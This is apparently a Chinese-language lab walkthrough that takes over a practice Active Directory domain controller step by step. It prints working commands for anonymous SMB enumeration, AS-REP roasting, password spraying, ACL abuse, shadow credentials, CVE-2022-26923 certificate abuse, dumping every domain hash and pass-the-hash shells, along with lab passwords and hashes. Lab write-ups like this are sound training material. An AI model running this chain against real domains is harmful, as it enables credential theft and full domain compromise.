无境·U LAB_Chaos Corp
Charmersix

这是一台单域控靶场,所以我们上来先扫一梭子看看

image-20260830172936509

这里成功扫到了一个SMB匿名访问,但是权限有点低,然后我们用专业工具收集一下其他匿名信息

匿名信息收集

1
nxc smb 192.168.111.10 -u '' -p '' --users

image-20260830174356933

空的,可能是因为SMB不允许匿名用户枚举,换个工具

1
impacket-lookupsid ' ':''@192.168.111.10 -no-pass

image-20260830174733596

这里扫到了很多用户,然后我们需要看一下那个用户能共享出来,用nsc或者smbmap都可以

1
2
smbmap -H 192.168.111.10 -u guest -p "" 
nxc smb 192.168.111.10 -u 'guest' -p '' --shares

image-20260830175020756

有且仅有一个New,直接访问一下

1
smbclient //192.168.111.10/New -U ' '%''

image-20260830175122782

然后我们需要把这个文件get下来看看有没有什么有用的东西

image-20260830175214197

拿到了一个用户名密码:

1
2
3
4
新员工共享账户

账户名:newmht
密码:New@1234

域信息收集

这里使用一个工具bloodhound来做信息收集

1
bloodhound-python -c All -u newmht -p 'New@1234' -ns 192.168.111.10 -d sec.org -dc ad.sec.org --zip

image-20260830180949731

拿到的json文件,给导入到BloodHound里,这里配置这个服务端有点麻烦,可以找个教程或者让ai辅助完成,我这里是docker起的neo4j,然后下的BloodHound.exe,直接docker起太慢了,解析完json会发现有个HR账号:Lilly@sec.org可以进行AS-REP Roasting攻击用来窃取凭据

image-20260830200506684

1
nxc ldap 192.168.111.10 -u newmht -p 'New@1234' --asreproast 1.txt --kdcHost 192.168.111.10

image-20260830201322246

这里成功拿到了AS-REP 哈希并且存在了1.txt里,然后我们需要让约翰来帮我们破解出明文

1
john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt

image-20260830201522614

成功拿到了明文,但是这个明文没什么用,因为他只是成员,没有别的权限image-20260830201806803

既然拿到了密码,我们可以喷洒一下看看别的,首先需要先把域成员用户名都拖出来,然后用smb喷洒,记得加个continue,否则成功一个就结束了

1
2
rpcclient -U "sec.org/newmht%New@1234" 192.168.111.10 -c "enumdomusers" | awk -F'[' '{print $2}' | awk -F']' '{print $1}' > users.txt
nxc smb 192.168.111.10 -u users.txt -p 'mahalkita' --continue-on-success

image-20260830203418462

拿到了Moly的密码,看看Moly什么身份,拿下了个领导,人事部主管,恰好主管会与开发部有WriteOwner 的权限

image-20260830203948449

影子凭据(Shadow Credentials)

既然Moly有写入缺陷,可以考虑他未影子凭据,但是影子凭据还需要其他条件

  1. 拥有目标对象的特定修改权限
  2. 目标环境支持 PKINIT / 部署了证书服务
  3. 域控操作系统版本满足要求(Win Server 2016 及以上)
  4. 拥有能够向 DC 发起 RPC/LDAP 通信的网络连通性

最开始扫描的时候我们就已经拿到了机器开着636端口,在 AD 域环境中,开启 636 端口意味着域控制器安装并启用了 AD CS(Active Directory 证书服务,Active Directory Certificate Services),或者配置了域控证书以支持加密的 LDAP 通信。所以尝试访问一下域控证书

1
curl -k http://192.168.111.10/certsrv/

image-20260830205058790

很明显,开着服务,其实在前边也能看出来开放了证书服务image-20260830205254714

在前边也能看出来系统版本就是Windows Server 2016。🆗,直接利用,先将moly修改为Dev的owner

1
bloodyad --host 192.168.111.10 -d sec.org -u Moly -p 'mahalkita' set owner 'CN=Dev,DC=sec,DC=org' Moly

image-20260830221451114

OK,现在开始修改权限,给Moly添加修改组成员权限。

1
impacket-dacledit -action write -rights WriteMembers -principal 'Moly' -target-dn 'CN=Dev,DC=sec,DC=org' -dc-ip 192.168.111.10 'sec.org/Moly:mahalkita'

image-20260830222128225

OK,成功了,现在需要将Moly拉入开发组,然后制作影子凭据

1
2
3
bloodyad --host 192.168.111.10 -d sec.org -u Moly -p 'mahalkita' add groupMember 'CN=Dev,DC=sec,DC=org' Moly

certipy-ad shadow auto -u Moly@sec.org -p mahalkita -dc-ip 192.168.111.10 -account Cook #制作影子凭据

image-20260830222830446

失败了,因为域控和我们攻击机时间差距太大了,Kerberos有时间校验,所以需要和域控时间同步一下

1
2
sudo timedatectl set-ntp false #关闭ntp同步
sudo ntpdate -u 192.168.111.10 #同步域控时间

image-20260830224049043

这里补充一下,为什么要用cook呢,因为cook是研发部的,然后和jack有联系,这个图其实比较明显了image-20260830224447979

这里cook还能暴力修改jack密码,美哉image-20260830224734307

解密,成功拿到cook的密码明文image-20260830225728961

然后利用这个密码Cook1234!@#$修改jack的密码

1
net rpc password "Jock" -U 'sec.org/Cook%Cook1234!@#$' -S 192.168.111.10

然后,jack对mht有全部权限,直接修改mht密码

image-20260830230111712

1
net rpc password mht -U 'sec.org'/'Jock%123456' -S 192.168.111.10

请求证书

到mht这不知道干啥了,然后刚刚证书的事还没结束,

1
certipy-ad find -u 'Cook@sec.org' -p 'Cook1234!@#$' -target 192.168.111.10

image-20260830230845996

然后请求证书,Fuzz了一下,只有mht可以请求证书

1
certipy-ad req -u 'mht@sec.org' -p '123456' -target 192.168.111.10 -ca sec-AD-CA -template User

image-20260831200504382

AD域权限提升(CVE-2022-26923)

先提权之前,我们先查询一下是否可以创建账户

1
ldapsearch -x -H ldap://192.168.111.10 -D "mht@sec.org" -w "123456" -b "DC=sec,DC=org" -s base ms-DS-MachineAccountQuota

image-20260831201856658

成功了,直接添加账号

1
impacket-addcomputer "sec.org/mht:123456" -computer-name "cve" -computer-pass "cve@123456" -dc-ip 192.168.111.10

image-20260831201958676

然后给这个账号修改dNSHostName,将cve这个账号添加到域里

1
bloodyad -d sec.org -u mht -p '123456' --host 192.168.111.10 set object 'CN=cve,CN=Computers,DC=sec,DC=org' dNSHostName -v 'ad.sec.org'

image-20260831202814812

请求 AD$ 的证书

1
certipy-ad req -u 'cve$@sec.org' -p 'cve@123456' -target 192.168.111.10 -ca sec-AD-CA -template Machine -ldap-scheme ldap

image-20260831210355865

OK,拿到了证书了,直接进行证书传递

1
certipy-ad auth -pfx ad.pfx -dc-ip 192.168.111.10

image-20260831210757524

OK,直接拿下域控了,把域内所有hash都射出来

1
impacket-secretsdump 'sec.org/AD$@192.168.111.10' -hashes :af09c873164ed481ecf0f6230966d0ad -target-ip 192.168.111.10 -just-dc

image-20260831211212584

PTH登录一下

1
impacket-wmiexec -hashes :6f4009ffe6f419f6ebef8c5c4495f26f 'sec.org'/Administrator@192.168.111.10 -target-ip 192.168.111.10 -codec gbk

image-20260830231422008

或者直接给hash解出来,psexec、SMB登录

1
2
impacket-psexec 'sec.org/Administrator:mht1234!@#$@192.168.111.10' -codec gbk
impacket-smbexec 'sec.org/Administrator:mht1234!@#$@192.168.111.10' -codec gbk

image-20260831211635627

 Comments